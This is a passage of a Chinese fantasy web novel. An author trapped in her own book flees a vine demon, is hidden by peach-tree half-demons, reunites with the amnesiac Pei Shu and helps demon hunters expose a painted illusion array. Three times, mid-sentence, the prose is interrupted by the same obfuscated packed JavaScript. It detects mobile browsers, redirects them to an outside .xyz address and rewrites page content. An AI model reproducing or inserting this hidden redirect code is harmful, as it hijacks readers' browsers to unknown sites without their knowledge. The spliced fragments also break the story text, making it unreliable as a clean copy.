“书环姑娘干嘛跑得那么快?” 她一指头顶。 “傍晚啦!赶紧吃完饭回屋休息啊!” 众人恍然大悟,纷纷抬锅做饭。 书环创作欲大涨,正急着回屋将故事后续发展定下来,不料一片浓雾突然弥漫开来。 “妖怪来了!妖怪来了!” 众人嘶吼着,争先恐后的钻回屋里,锅碗瓢盆跌落一地。 事发突然,书环猛的回头,发现自己站着的地方在阵法外,她心一紧,再想回去已是来不及。 她被隔绝在了一片浓雾里,抬眼望去皆是白茫茫的一片,没有屋舍,没有草木。 一颗心高高的提了起来,书环握着曳骨,心道如果真遇上妖怪就跟它拼了! 她警惕的望向四周,突然,一只冰凉的手从后攀上了她的肩膀。 “啊啊啊啊啊!” 她闭着眼挣扎一通,把肩膀上的不知名手掌打掉后一口气跑出老远,定睛一看,那人黑衣白发,眉心一道红,手抬在半空中,正目色深沉的看着她。 书环无声留下两行泪。 艹啊! 谁能告诉她,为什么每一次裴殊的出场都这么吓人啊! 两人沉默对望,良久,裴殊朝她迈出一步,书环察觉到不对,往后退了一步,裴殊人生得高大,步子自然迈得也大,退了十余步,裴殊已至眼前,再度冲她伸出那只手。 书环被吓得闭上眼,心道完啦完啦!这人肯定是来索她命的!可惜她的新故事才起了个头,后面的剧情还没来得及讲给大家听……一只手轻捧着她的脸,替她拭去了眼角的泪。 睫毛不受控制的跳了两下,她睁开眼,不可置信的看了一圈,眼前已空无一人,可脸侧余留的冰凉触感告诉她,方才裴殊真的来过,还十分反常的替她擦了眼泪。 真是见鬼了。 书环第一次感受到什么叫莫名其妙,原地转了两圈后,迷雾外传来了众人的呼唤声。 “书环——” “书环姑娘!” “莫姐姐,谢少主,我在这里!” 一把符纸从天而降,迷雾瞬间溃散,露出了村落原本的模样。 莫临江道:“你方才可有见到什么?” 书环看了看众人,心道裴殊可真是给她出了个难题。不说实话吧,在场的能人异士这么多,万一扒出点什么就不好了。可若是说了,那结果就更遭了。 她叹了口气,拉了拉莫临江的袖子:“莫姐姐,我可以只说给你一人听吗?” 莫临江看向谢归川,对方笑道:“前面的屋子里没人。” 莫临江带着书环去了,进屋后她布了一个隔绝阵法,这才道:“现在可以说了。” 书环绞着手指,咬唇道:“我刚刚,确实看见了一个人。” 莫临江表情没有变化,想来一切都在她的预料之中。 “但我可以确定,他不是杀害村民的凶手。” “你们认识?” 书环点点头,有些不知该如何往下编。 “我们不仅认识,还……颇有渊源。” 莫临江道:“既如此,那他为何不直接来找你,而要选择这样让人误会的方式。” “这便是……我要说的渊源,我跟他之间,有一些……解释不清的爱恨情仇。” 莫临江轻咳一声:“出人意料。” 书环垂头不语,脚趾疯狂抓地。 好在莫临江不是个在这些方面刨根问底的人,两人出了屋子,谢归川已安抚好了村民,众人重新架好锅,又热火朝天的做起饭来。 “如何?书环姑娘遇到的是我们要找的妖物吗?” 莫临江摇头。 “那可真是难办了。” 谢归川摇扇望天,傍晚柔和的光线给那张俊雅至极的脸渡上了一层暖色。 “妖物会阵法,我们寻不到它的踪迹,只能等它自己现身,可这样一来便太过被动,人的精力是有限的,它处于暗处,只要有足够的耐心,便能趁我们不注意杀个措手不及。” 莫临江回望层峦叠嶂的山峰,于其中寻一人尚且难如登天,何况是一只会阵法的妖。 “谢少主有没有发现,此妖杀人颇有规律。” “莫少宗主是指……死者的年纪?” 书环抬眸,莫临江不愧是主角,这么快就发现问题所在了。 “死者初为老者,年纪偏大,后为壮年,青年,最后一位,是个少年。” 谢归川思索道:“死者似乎越来越年轻。” “初到那日,王孝生提议以他为饵,几日过去却并没有引来妖物,或许不是引诱一计行不通,而是诱饵不是它想要的。” “听闻明月楼有一术,可使纸人化为真人,且难以辨别。” 谢归川一双眉眼笑得弯了起来:“莫少宗主是想……” “你我合作,共擒此妖。” 他笑意更甚:“乐意之至。” 书环跟在两人身后,帮着莫临江将红线从村头缠至村尾,每隔一小段便挂上一个铃铛,铃铛遇上妖气会自己响起来,铃声清悦,用来示警再合适不过。 王孝生既已不适合当诱饵,莫临江便将他那间屋舍用阵法隐藏起来,于远处另开一屋,谢归川掏出几张黄纸裁的小人,在背面写上村里几个孩子的生辰八字,念了一长串的法诀后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419220|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将纸人往地上一撒,薄薄一片纸瞬间化为一个个活灵活现的小孩,一言不发的坐于堂中。 书环摸了摸手臂,觉得这场面有些诡异,转身出了屋,去看莫临江布阵。 莫临江于阵法一道极其有天赋,不出一刻钟,一座以压制为主,绞杀为辅的大阵便布好了。 两人巡查一番,没发现什么漏洞,便就着月色回了住处。 *** 一连两日,村里系着的铃铛都没有发出任何动静。 王孝生来询问过一次,似乎很盼望众人将妖捉住,他好安葬弟弟。 莫临江派下山的捉妖师回来了,带回一大堆东西,书环看了眼,有凿子,装满水的葫芦,藏有火星的石碗…… 东西五花八门,她搞不懂用途,便继续埋头学习符术。 院子里突然传来一声马鸣,书环一眼望出,只见一片水波凭空荡开,从中走出三个黄衣黄帽的小人,每个小人手里牵着一匹小马。 她眼前一亮:“庆忌!” 三个庆忌上前将怀里的书信取出放在莫临江面前,随即不约而同的歪头看向书环。 三个皮肤如水般透彻的小人盯着自己看,任谁来了也会想要逗弄一番,书环伸出手,三个小人纷纷顺着手臂往上爬,并排坐在她的肩头,叮叮咚咚好似在说着什么。 “这还是我第一次看到活的庆忌。” 以往都是在书里瞥见关于它的只字片语。 莫临江一边看信一边回她:“无端门成立近千年,同许多小精怪交好,彼此提供便利,庆忌便是其中一种。” 说着她往书环眉心打入一道符咒,顷刻间那些叮叮咚咚的声音化作熟悉的言语。 “咦,她能听懂我们说话了诶!” “人,你从哪里来?为什么一见到你就感觉很亲切?” “这叫缘分!” 三只小家伙各说各的,一时间屋内十分热闹,一扫往日沉闷。 谢归川来时莫临江正好看完无端门的回信,他袖中探出一个毛茸茸的头,随即被他不动声色的挡了回去。 “信上说的什么?” “师父说,门内并无人遗失过《六合文》,大抵是手抄的,已经派人去查了,另外,此处的妖物有可能是《万妖经》上没有记录过的新生妖物,已通知附近的捉妖师前来援助。” “就这些?” 莫临江蹙眉。 谢归川笑着打趣她:“我还以为,以莫少宗主同令师的关系,他会关心你几句。” “妖患无穷,凡事当已大局为先。” 谢归川不赞同这种说法。 “若是我真的关心一个人,便是只剩一口气,也得提笔问她一句安好。” 莫临江的目光落到他身上,谢归川摇折扇的手微不可查的顿了一下,笑问道: “怎么?” “没什么。”她面带笑意:“只是没想到,谢少主也是个性情中人。” 谢归川闻言只是低头轻笑,那双蕴藏情绪的眸微微颤动,片刻后,他听见书环同两人告别,带着庆忌回了住处。 莫临江看向他的袖口处。 “谢少主的乞君似乎也很喜欢书环,方才何不让它也一同前去?” 乞君是一种山间灵气孕育而出的小妖,除了送信外还擅长收集传闻,它们和庆忌一样,世代同捉妖大派合作,彼此提供便利。 谢归川笑叹道:“清泽生得丑陋,还是不去惹书环姑娘烦心了。” 莫临江见状也不便多言,交谈几句后便回了住处。 另一边,书环逗三只小妖玩了大半个时辰,待到三小只陆续回到水中休息后开始琢磨给它们取名一事,很遗憾,穿书改变了许多事,但她是取名废这一点却不曾被改变。瞪了纸张半刻钟后,她无奈的放下了笔。 取名不易,作者叹气。 还是继续学符咒吧! 烛泪在桌面凝成一团不规则烛蜡的时候,书环放下了笔,此时已近子时,外面一片寂静,不出意外的话今夜又是一无所获,她合上符书,正打算休息,突然余光瞥到身侧的一团阴影。 她猛的回头,对上一张树皮般青灰色的人脸。 12. 一妖更比一妖高 书环下意识的一挥曳骨,一道玄光裹挟着青黑人影砸向泥墙,她趁此机会冲了出去,大喊道: “莫姐姐救我!” 莫临江就住在她隔壁,以她的修为早该在她挥笔的那一刻便有所感应,可在她喊出这话之后屋内依旧没动静,书环两步冲上前推开了门。 屋内一片漆黑,寂静得能吞噬所有情绪。 没有人。 许是今夜巡逻还没回来,书环这样安慰自己,转身跑向隔壁谢归川居住的院落。 “谢少主救命啊!” 她撒腿狂奔,手中的曳骨却在此时无端生出一股力,带着她在地上翻滚一圈,刚好错开那根径直刺来的藤条。 藤条如利箭迸射而出,一击便穿倒了一片石墙。 吾命休矣! 书环惊魂未定,连忙手脚并用爬进院子,一边丢符拖延时间一边求救。 可无论她怎么喊,院子里都是一片死静,从头到尾没有一人出来救她。 她咬咬牙,冒着被追上的风险推开屋门。 没有人。 她又接连推开几道门,还是没有人。 所有人无故消失,看上去倒像临时有事抛下她匆匆离去,但书环深知莫临江和谢归川不是这种人,那么就只剩下一种可能,村里出了大事引走了她们,又或是妖物使用了遮眼法。 为今之计跑为上! 书环接连拐过几道弯,火符不要钱似的往后砸,这都是兰驿临走时给她的,效果十分不错,全靠着这些符藤妖才没追上她,书环却开心不起来,手中的符箓眼看着就要见底,彼时她又该如何。 转过一间柴房,书环来到了村长赵元章家,毫无例外,此处也是一片清冷,丝毫不见人影,只余空房和桃花林遥遥相望。 她在空房和桃花林之间踌躇不决,最后不知想起了什么,一头扎进桃花林。 托数日前那场雨的福,泥土松软湿润,春草繁茂新嫩,踩上去不至于发出大的声响引来妖物。 书环走到桃林深处,寻了个桃花开得茂盛的地方,取下曳骨在四方画起符来。 莫临江教过她一些简单的阵法和符咒,其中有一术名为应象,可使人化形。书环三两下画完符文,脑子想着桃树的模样,双手掐诀道: “心无其心,物无其物,神无其神,今独其形。” 符咒闪过一层微弱的金光后迅速隐入泥土消失不见,书环身子一僵,一种怪异的感觉蔓延至四肢。 手脚先是被拉长,后又分裂成无数的分支,一端化作根扎入地下,一端化作枝结满花苞,一花一叶仿佛都化作了她的眼睛,警惕的观察着四周。 眨眼的功夫书环便由一个大活人化作一株桃树,穿插在桃林之中,变得毫不起眼。 不等她高兴,下一刻桃林边便多了个人影。 准确来说那不能算人,只是一个看起来像人的藤妖,皮肤是藤条老化后的青灰色,粗糙皲裂。身体和四肢是粗壮的藤条,上面有着大小不一的结节。脑袋不大,面上只有细微的起伏。 书环看到它全貌的第一眼,一股寒气仿佛有生命似的爬满了后背。 实在是太诡异了! 藤妖若有感应的看了过来,书环乍然跟它对上视线,即使隔得老远也被吓得不轻。更让她绝望的是,它佝偻着身子走入了桃花林中。 “嘎吱……嘎吱……嘎吱……” 藤妖每走一步便会发出一阵嘎吱声,仿佛不堪重负的背篓随着人脚步迈进时的呻.吟。 书环吓得连呼吸都停住了,眼看着它缓慢走过一株株桃树,最后停在她的面前。 那双诡异青灰色藤脸凑上来的那一刻,她觉得自己可以收拾收拾去见阎王爷了。 好在它只是看了一眼便转身继续往前走,它看得极为仔细,一株也没有遗漏,就这样走遍整片桃林后停在了最深处。 书环内心浮现一点期待,都找遍了也没有,等下就会换个地方找了吧。 藤妖在它的期待中掉头重新审视着一株株桃树,这次它看得更为仔细,停留的时间也更长。书环不禁有些焦急,应象术有时间限制,她修为尚浅,能维持多久全凭运气,万一藤妖还没离开她便现身了,那岂不是死路一条。 藤妖又走遍桃林,依旧没有找到它想找的人,它似乎有些生气,在桃林中没有章法的穿梭起来。 嘎吱声听得人牙酸。 书环细心的发现,纵使藤妖很生气,却将身上的藤条控制得很好,没有碰到过桃枝。 桃木能辟邪,但藤妖并不是一般的邪物,且原文里并没有将藤妖引到桃林这一剧情,所以书环不确定藤妖是否怕桃木,如今看来,它是怕的。 这大概是今晚唯一一个好消息了。 书环松了口气,既然怕桃木她就放心了,方才一直担心这藤妖一个生气将整片桃林连根拔起。 “咔嚓……” 一声树枝被折断的脆响从桃林深处传出。 书环:“……” 不会吧! 她颤颤巍巍的朝里面看去,只见藤妖铁青着一张脸,用一根细长的藤条缠上桃枝,大力往下一拉。 “咔嚓——” 桃枝应声而断,那条缠上桃枝的藤蔓也在顷刻间变得枯黄,因藤妖轻微的动作从本体上脱落。 看样子它认定人就藏在桃林内,冒着受伤的风险也要将人找出来。 书环看得龇牙咧嘴,那么粗一根桃枝,换在她身上不是一大块肉也是一根手指,以往受伤都是小打小闹,这次不一样,运气不好是真的会残。 她得逃! 趁着藤妖还在桃林深处赶紧逃! 她无师自通的将根从土里缓缓拔出,向路边慢慢挪去。 藤妖是个多疑的性子,每断掉一颗树的枝条便会回头看一次,书环不得不一走一停。 藤妖转身又折断一根桃枝,书环趁机走了两步,这次藤妖回头凝视的时间格外久。 书环心头一紧,她在写这本书的时候给每一只妖都做了具体的设定,比如部分鸟妖擅长用脚抓物,猫妖会给关系好的朋友舔毛…… 那么藤妖呢? 藤条常年盘绕在树上,是否对周围树木的排列十分敏感? 如若真是这样的话,她又该怎么从它眼皮子底下逃出去? 她可真是个给自己挖坑的小能手啊! 藤妖又一次转过头去,书环站在原地不知所措,突然,一根细小的桃枝碰了碰她的花枝。 她眼眸一亮。 还有妖? 碰她的那株桃树从地里缓慢抽出根系,挪到了书环原先站着的地方扎根。 整个过程行云流水,没有发出丝毫动静。 书环看得目瞪口呆。 那株桃树仿佛催促她似的,又用桃枝碰了碰她,书环如梦初醒,小心翼翼的将自己挪到了空出的位置上,这样一来整片桃林的布局便同从前别无一二。 藤妖折断一根桃枝,甩掉被灼伤的藤条, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419221|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这株桃树的枝条格外硬,折断起来多用了些功夫,可惜依旧不是它要找的那个人。 它回头望了一眼,桃林的布局并无什么变化,待它转身后,书环前方的桃树如法炮制的拔出根系,两树交换完位置后,书环试探着同它们交流。 “你们……都是妖吗?” “嘻嘻嘻……嘻嘻嘻……” 寂静的桃林中突然钻出一阵笑声,声音从四面八方传来,有点诡异,更多的却是如少女般的娇俏,书环几乎能凭声音想象出它们笑得花枝乱颤的模样。 “姑娘猜错了,我们是半妖。” 书环喃喃道:“半妖?” “是啊,这片山脉里有东西压制着我们,所以即便我们苦心修炼却也只能是半妖。” “嘻嘻,方才见姑娘逃窜至此,又身负奇术,姐妹们铤而走险帮你一次,还望姑娘成功逃脱后不要忘记姐妹们的恩情,帮我们挣脱压制。” 书环道:“等等,先不说这压制是什么,我学艺尚浅,这种大事,你们为何不去找无端门的莫少宗主,就是前些天到这的那位执剑女子。” “嘻嘻嘻,她可不是一般人,我们不敢,再者,不知为何,一见姑娘便觉十分亲切……” 书环:“……” 是人是妖见到她都觉得亲切,所以藤妖不会也是因为这个原因才追杀她的吧。 她深吸一口气:“我还有一个问题!为什么你们这些桃树都成了半妖,修炼有这么容易吗?” 它们又嘻嘻嘻的笑了起来。 “修炼当然不容易,但我们运气好,遇到个不寻常的种树人,他天资极好,我们呀,都是沾了他日日栽培的光,这才有了今日。” 种树人? 书环将此事记在心中,待事情了结后一定要打听一下这片桃林的主人。 想着慢慢挪向路边,只差一棵树的距离便可逃之夭夭,可要怎么逃走才不会被藤妖发现呢? 桃妖又笑了起来。 “嘻嘻嘻疼死我了!这该死的藤妖,折断了我好粗一根枝条!” “嘻嘻嘻我也是,该死的丑东西,要不是老娘化不了妖,今日还有你嚣张的份!” “姑娘,等会姐妹们会奋力将它拦住,你趁机逃跑。” 书环深吸一口气,就赌这一把。 她点头道:“好!” 藤妖分化出一根细长的藤条缠住桃枝,还未发力,便觉手中枝条不对,一瓣桃花落下,它同缠住桃枝的藤条失去了联系。 藤条被花瓣从中割断了。 它迟钝的抬起头,灰浊的眼珠似乎转了转,双臂生出数十根藤条,打算将眼前这株桃树活活绞死。 不等它有所动作,眼前的桃树动了,不止眼前,整片桃林的桃树都颤了颤,震落一地花瓣。 月色乍亮。 无数的粉色花瓣被风裹挟着卷向藤妖,如同一柄柄锋利的小刀,将藤条绞成碎断。 就是这个时候,跑! 书环在粉色狂风的掩护下变回人形,朝着对面的房屋跑去,她这几日已熟知村里的布局,一口气跑出老远后,她寻了个较为安全的院落,打算画些隐匿气息的符,先躲过今夜再说。 院外一片安静,看样子藤妖并未追上来,书环松了口气,推开门,眼前的景象却让她愣在原地。 窗边月色下,一个黑衣白发的男子转过身来,眸色灰浅,眉心一裂红,冷清中带了几分邪气。 他负手而立,像是等待她良久。 13. 表白 书环先是一惊,随即松了口气,紧接着又是一惊。 两个来回下来连说话都不利索了。 “裴……裴殊……” 她下意识的转身就跑。 没跑掉,被裴殊勾着衣领拽了回去。 “你认识我?” 他突然凑近,语调低沉,眉目清冽得如同一把利剑,搅得书环心神俱乱。 书环双手拽着衣领:“这又是什么戏弄人的法子?” “你是谁?” “你装得有点过了啊!这样是骗不了人的!” 裴殊蹙眉:“骗人?” 书环缓了两口气,同那双浅色的眸子对视良久,意识到眼前之人似乎真的变了,强撑起的嚣张气焰瞬间熄灭,她抬手在裴殊眼前晃了晃,试探的问道: “你……不记得我了?” 裴殊垂眸,喜悲不明道:“嗯。” 书环感觉有一簇火于心窝处猛烈的燃烧起来,她压着嘴角又问了一遍:“你不记得我了吗?” “嗯。” “你真的不记得我了?” 裴殊不解的看着眼前这个活蹦乱跳的少女,她从他手里挣脱,兴奋得在屋子里乱跑,跑了几圈后重新凑了过来,瘪着嘴问:“你……你忘了……曾对我许下的山盟海誓了吗?” “山盟海誓?” 裴殊虽然失了忆,但还不至于理解不到这四个字的意思,他狐疑的看着她:“我们爱过?” 书环一哽,点头道:“当然。” 凭心而论,在写下这个角色时她对其肯定是有爱的,而裴殊又因结局恨着她,恨是爱的衍生物,这样一来,说一句爱过完全没问题。 然而裴殊是个多疑的人,对于这些看似深情实则全是演技的话,他只回了一声冷笑:“你说的,我一概不信。” “就知道你不信。” 书环从怀里掏出那面兰驿送的铜镜,递到他面前。 “你不记得我,总不能忘记眉间这缕红痕吧。” 裴殊长指抚过眉心,一时间眸色更冷。 “这是不世咒。” 书环对此有些意外,失忆了竟还记得这种罕见咒法,想来从前也是个刻苦修行的人,十分符合修为通天的设定。 裴殊一字一句道:“不世咒乃滔天执念所化,我与你之间,当真如此相爱?” 不用自己引导他就能脑补出此咒与两人的感情有关,裴殊在这一块的天赋很让书环满意,目前的剧情进度离结局还有十万八千里远,书环有信心在那之前和裴殊达成和解,于是她郑重的点了点头。 “当然。” 裴殊放下铜镜,转身走至窗前,望着高悬的明月,背影清寒。书环认真扮演一个与其有过往的女人:“喂,你看着月亮是几个意思?还不肯相信我?” “我们既然相爱,为何会在此意外偶遇?” 就知道要问这个。 书环道:“因为我们前些日子闹了点误会,你不听我解释,死活要分道扬镳,你修为高深,我找不到你,只能照常过日子,谁知再遇见你时……这段日子都发生了什么?” 书环知道,他大概率是因为把她这个原作者拉到书里扰乱了剧情才被迫失忆,但,接下来的戏还是要演的,她趴在窗边侧头看他,一双眼睛里盛满了揉碎的月光。 裴殊问道:“什么误会?” “因为这个误会导致我们分离,你因此失忆,我不想再提!” “你不提,我怎么知道你说的是真是假?”裴殊从月亮上收回目光,转而对上她的视线,语气略带压迫。 “你……你怀疑我不爱你,怀疑我更爱别人。” “所以你爱我吗?” 书环深吸一口气,大声道:“爱!怎么会不爱?我最爱的就是你了!这辈子除了你不会再爱上别人!” 裴汀州半生飘零,最缺的便是毫无保留、只予他一人的爱,书环喊完后不知是害羞还是愧疚,亦或是看见了他眼眸中为此触动的情绪,总之,她选了个背对裴殊的站姿平复心情。 手腕突然被人一把攥住,她回头,只见裴殊垂眸望向她,目光幽深。 不会是想杀她灭口吧? 未等她询问,屋外突然响起急促的脚步声,一股劲风掀开了门,门外站着莫临江谢归川及众多捉妖师。 书环骤然对上众人的目光,再结合眼下的姿势,顿觉自己像是同人私奔的无知少女被家里人拦了下来。 裴殊松开手,她揉了揉被攥过的手腕,感觉还有一双无形的手握在上面。场景实乃生平罕见,导致她一时间不知该如何开口。 元清做了打破沉默的那个人。 “书环姐姐,你叫我们好找。” 谢归川看向裴殊。 “这位是?” 同为男人,他一眼就看出眼前之人非比寻常,不止是容貌气度,还有一种说不明道不清的危险。 裴殊轻笑一声,书环炸毛似的抢在他前面开了口。 “莫师姐,他就是我跟你说过的那个……” 莫临江懂了。 那个同她有着爱恨纠葛的男人。 “这位公子如何称呼?” 书环替他答了:“他姓裴。” 莫临江看着那头显眼的白发问道:“裴公子是玄道之人?” 天下能人异士,如捉妖、修仙、道门、法教一类统称玄道。 玄道中唯有修为高深者才能在青丝尽雪的同时保持一张年轻的脸庞,莫临江的师父鹤非白便是其中一人。眼前之人既与书环有过爱恨纠葛,想来年岁不会太大,既如此,那便只剩下功法这一可能。 裴殊语调平平,不知是在糊弄人还是对幼时的事情略有印象。 “吾幼时拜于尊师门下,于山中修行。” 谢归川颇有兴致:“如此说来,你们是旧相识,书环姑娘今夜突然失踪,莫非是来此与故人相会?” 书环叹了口气。 “我若要与故人相会,何必偷偷摸摸。” 她把撞上藤妖,求助无门,以及如何从藤妖手下逃脱的过程事无巨细的讲了出来。 众人静默。 谢归川敲了两下扇子,在书环不明所以的目光里开了口。 “书环姑娘,我们一路寻来,并未见到你说的藤妖。” “不可能,它追了我一路,就差把我绞成碎渣了!” “是一丈阵。” 莫临江手里捏着片不知何时捡来的碎片,上面绘着村中的院落,依稀能看出一片倒塌的石墙:“一丈阵成阵时,阵中之人踏出一丈的距离便会掉落另一个空间。” 说完她又补了一句:“此阵乃《六合文》中记载的幻阵,阵法精妙,难以察觉,极为考验布阵者的修为。” 书环恍然大悟:“难怪我们都找不到对方。” 莫临江收起碎片道:“去桃林。” 众人转身向外,书环跟着走了两步,随即想起还有裴殊,转身一把将他拉过跟了上去。 桃林与初见时的景色比起来已萧条许多,花瓣凌乱散落在地,枝头只余零星粉红。 书环捡起一瓣放在手心,原本嫩滑的花瓣像是被人用力踩过般,泛着一股糜烂的透明色。 桃树上挂着深浅不一的鞭痕,越往中间走,这种情况越严重,有的树枝被绞断,只余一层树皮挂在枝头。 书环原本藏身那处周围的桃树更是只剩下几根粗的枝干,她啊了一声,围着树转了两圈,手足无措道: “怎么成这样了?” 身旁的树抖了抖,树干上浮现出一张女人的脸,肤白胜雪,眉若远山,双眸带泪道:“姑娘,你这么快就回来了,那藤妖好生厉害。” 她语调凄厉,目光满是戒备的落在身后那群人身上。 书环摸着树干安抚道:“别怕,她们都是我朋友。” 裴殊手指微动。 又一个桃妖露出脸庞道:“死藤妖实在是过分,仗着妖力高深折了我们不少枝条,白白损了我几十年修为。” “话虽如此,它也受了伤,姑娘来得不巧,若是早来一会,说不定就能看到它逃窜而去的背影。” “呜呜呜好疼……” “呜呜呜我的修为,这样下去何年何月才能修出人行啊!” 桃妖陆续现身,或哀泣或悲愤,书环待到哭声渐歇才问道:“藤妖逃向何处?” 桃妖指向一处:“逃向了那座山。” 莫临江和谢归川神色一滞,那是她们搜寻过的一座山,《六合文》残页就是在山上发现的。 看来她猜的不错,确实有妖物学会了其中的阵法。 桃妖哭够了,开始把目光放在眼前这群人身上,前几日她们便注意到这群人了,个个身带法器,一看就是大宗门的捉妖师,碍于身份,她们不敢多看。如今没了顾忌,她们干脆将根拔出,层层叠叠的围了过来。 元清:“我还是第一次遇到不怕捉妖师的妖。” 桃妖拿枝条敲了敲他的脑袋。 “严谨一点,我们是半妖。” 莫临江捏住一只凑过来的桃妖:“我们来时,似乎并未察觉到妖气。” 桃妖不约而同的静了下来,你看看我,我看看你,不懂她话中的意思。 书环重新站回裴殊身边,不动声色捏住他的衣角。 裴殊盯着那两根捏住自己衣角的手指:“你做什么?” 书环笑意盈盈:“人和半妖太多,我怕和你走散了。” 裴殊撇过头去不理她。 “诶,你知道其中缘由吗?” “不知道。” 书环也不恼,她正在看莫临江,她和谢归川似乎发现了什么,商讨了几句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419222|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后便拔出青山白,对着空中划过数道剑光。 好似一张纸被划成了几块碎片,微弱的光从碎片缝隙中撒出,顷刻间便消失不见。 几张碎纸从空中飘落,众人拾起,连同莫临江手中那块一起拼成了一副完整的图,图上绘着村落的全貌,书环细细看了一遍,发现图中一个人也没有,倒是这片桃林,绘得异常茂盛,每一株桃树上都绘着一张人脸。 书环不解:“绘图之人为何不绘一片普通的桃林?是觉得这些半妖不会给他的计划造成影响么?” 谢归川道:“比起这个,我更好奇为何会选中书环姑娘你。” “或许……是我修为最低?” 谢归川轻笑:“既如此,便是冲着你命去的,那就更应该抹去这片尽是半妖的桃林了。” “是啊。” 书环喃喃道,布局之人的手法十分矛盾,既让藤妖攻击她,又埋下一颗可以与藤妖抗衡的棋子。 她百思不得其解之际,身侧的男人冷冷开了口:“还有。” 莫临江也察觉到了这一点,裴殊话音落下的那一刻,剑光裹挟着霜气劈向空中,盈盈月色下,霜白的剑光好似劈到一块弹性十足的布料,将其拉开后被其吞没。 接连几剑都不得破,谢归川展开凤凰泣,冲着一个地方挥了几扇,黑色的天幕起伏几下后便恢复了平静。 莫临江收起青山白:“阵眼不在此处。” 一丈阵布阵手法特殊,需将用来迷惑人的画铺在被迷惑人不远处,这样才能保证走出一丈的距离便进入另一个空间。 而她们的必经之路,唯有进村那条。 众人就着月色走至村口,这条道两侧都是密林,茂盛的枝叶将路遮得严严实实,白日里还有些许细碎阳光洒落,夜间只余下阴风习习。 莫临江缓步查探这条路,谢归川见状从耳上取下一对琉璃灯形状的耳坠,其一沾地便化作一对琉璃灯,他打入两道火符,将一只琉璃灯递给莫临江,莫临江接过,将灯提到了与眼睛齐平的高度,手则在空中一寸一寸的抚摸起来。 她动作奇怪,像是在抚摸一堵不存在的墙,明月楼的人不由得面面相觑,心道难道靠一双手就能摸出阵法不成? 书环一直随着着莫临江的步伐挪动,待她走至一处时两人俱是一停。 那是当日王孝生出现的地方。 莫临江大退几步,提着灯再度抚摸起“空气”来。 迈进数步后,她又停在了同一个地方,两人对视一眼,书环接过她手里的琉璃灯,莫临江手执青山白,剑尖于手指停留处刺入,幻境与现实连接的边缘的被割开一道口子,剑尖上下骤然浮现一串金色符文,如同密密麻麻的线脚将幻境和现实缝合在了一起。 众人纷纷围了上来。 “撕拉——” 一道纸张撕裂的声音响起,剑锋垂直割下,符文破碎,画布被挑开一角,莫临江顺着一扯,夜幕如海浪般翻滚了几个大浪后脱力落下。 一副完整的画布被揭下,其下掩盖的气息丝丝缕缕蔓延开来。 众人将画布铺平,又将先前所得那幅摆于其上,一经对比众人便立马发现了不同:村口这一幅画中的桃林是正常的。 书环啊了一声:“难怪这么多捉妖师都没发现妖气,这一招真是……遮天蔽日。” 莫临江垂眸将两幅画细细的看了一遍,道:“村口这幅画笔触细腻,大到山峰,小至草木,都过分逼真,好似将村落缩小后放进了画里,相比之下另一幅便有些低劣了,无论是落笔的力度和画面的晕染都显得有些仓促。” 说着她用手指捻了捻两幅画。 “破了的这幅用的是普通的纸,故而境中任何大动静都有可能造成画幅破损,另一幅则是……” 谢归川察觉到她的停顿,伸手摸了摸,不敢确定,又将灯提上前翻来覆去看了一番,语气仍带着不肯定。 “这是……皮?” “不是人皮,是妖物的皮,纸张承受不住幻阵的运转,所以才会因为桃夭和藤妖相斗而破碎。” 谢归川将灯递给身侧的人:“如此说来,目前一共发现两个一丈阵,一个是在我们进山前布下,布置精密;一个则是在书环姑娘进屋后所布,手法仓促,像是临时起意,看来布阵之人就在这个村落之中。” 有人思索道:“王孝生?我们进山第一个遇见的人就是他,也是他把我们领进村的。” 元清皱眉:“虽然很合理,但我总觉得有些过于简单了。” “亦或是赵元章,那日他不是摆了个辟邪阵吗?” “可若是他干的,为何要透露自己会术法呢?” 莫临江听着两人的话慢慢起身,谢归川见她看着晨光初露的天,十分自然的问道:“布阵痕迹早已被抹去,此处已查不出什么,要回村里吗?” “好。” 14. 苦命作者在线破阵 一丈阵用以迷惑人的画布被扯去,阵法中发生的变化落到了对应的事物上。 书环一路走来见到了不少逃命时没见到的细节,如地上藤条的拖痕,墙体上被藤妖抽出的沟壑,以及那道倒伏的石墙。 赵元章作为村长,在这个多事之秋自然难以入眠,早晨也醒的比其他人早,本想外出散散心,谁知竟看到自己精心侍弄的桃林变成了一堆废桩。 随着脚步声的靠近,他有些僵硬的转过身来,一脸惊愕。 “这……这是发生了什么?” 赵元章不解,自己明明只是睡了一觉,怎么一觉醒来村里好像是被人翻过一遍似的,自己精心侍弄的桃林秃了,村里的石墙也倒了,更别说随处可见的鞭痕。 